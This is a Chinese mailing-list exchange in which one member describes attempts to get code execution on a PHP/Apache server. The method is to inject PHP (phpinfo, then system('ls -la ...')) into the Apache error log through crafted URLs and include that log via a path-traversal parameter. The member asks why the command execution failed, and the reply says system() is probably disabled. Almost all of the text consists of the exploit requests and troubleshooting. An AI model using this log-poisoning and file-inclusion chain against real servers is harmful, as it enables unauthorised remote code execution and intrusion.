system funcation disable. 你可以先写一个 <?phpinfo(); 测试是否成功。
2008/10/16 唐不狐 <[EMAIL PROTECTED]> > 测试环境 unix+php+mysql+apache > 1 http://target.com/fuc<?phpinfo();?>.php > 2 > http://target.com/fuc.php?url=../../../usr/local/apache/logs/target.com-error_log > > 成功看到phpinfo信息,代码被执行。 > > 接下来 > 3 http://target.com/fuc<?system("ls+-la+/home");?>.php > 4 > http://target.com/fuc.php?url=../../../usr/local/apache/logs/target.com-error_log > 失败,并没有列出/home 目录,没有权限? > > 5 http://target.com/fuc<?system("ls+-la+/home/www/target_com");?>.php > 还是无所获 > > 请教,关于包含apache日志利用的细节,哪些应该注意的?能否成功的条件 > 谢谢! > > > --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件,请发到 [email protected] 要退订此邮件,请发邮件至 [EMAIL PROTECTED] -~----------~----~----~----~------~----~------~--~---

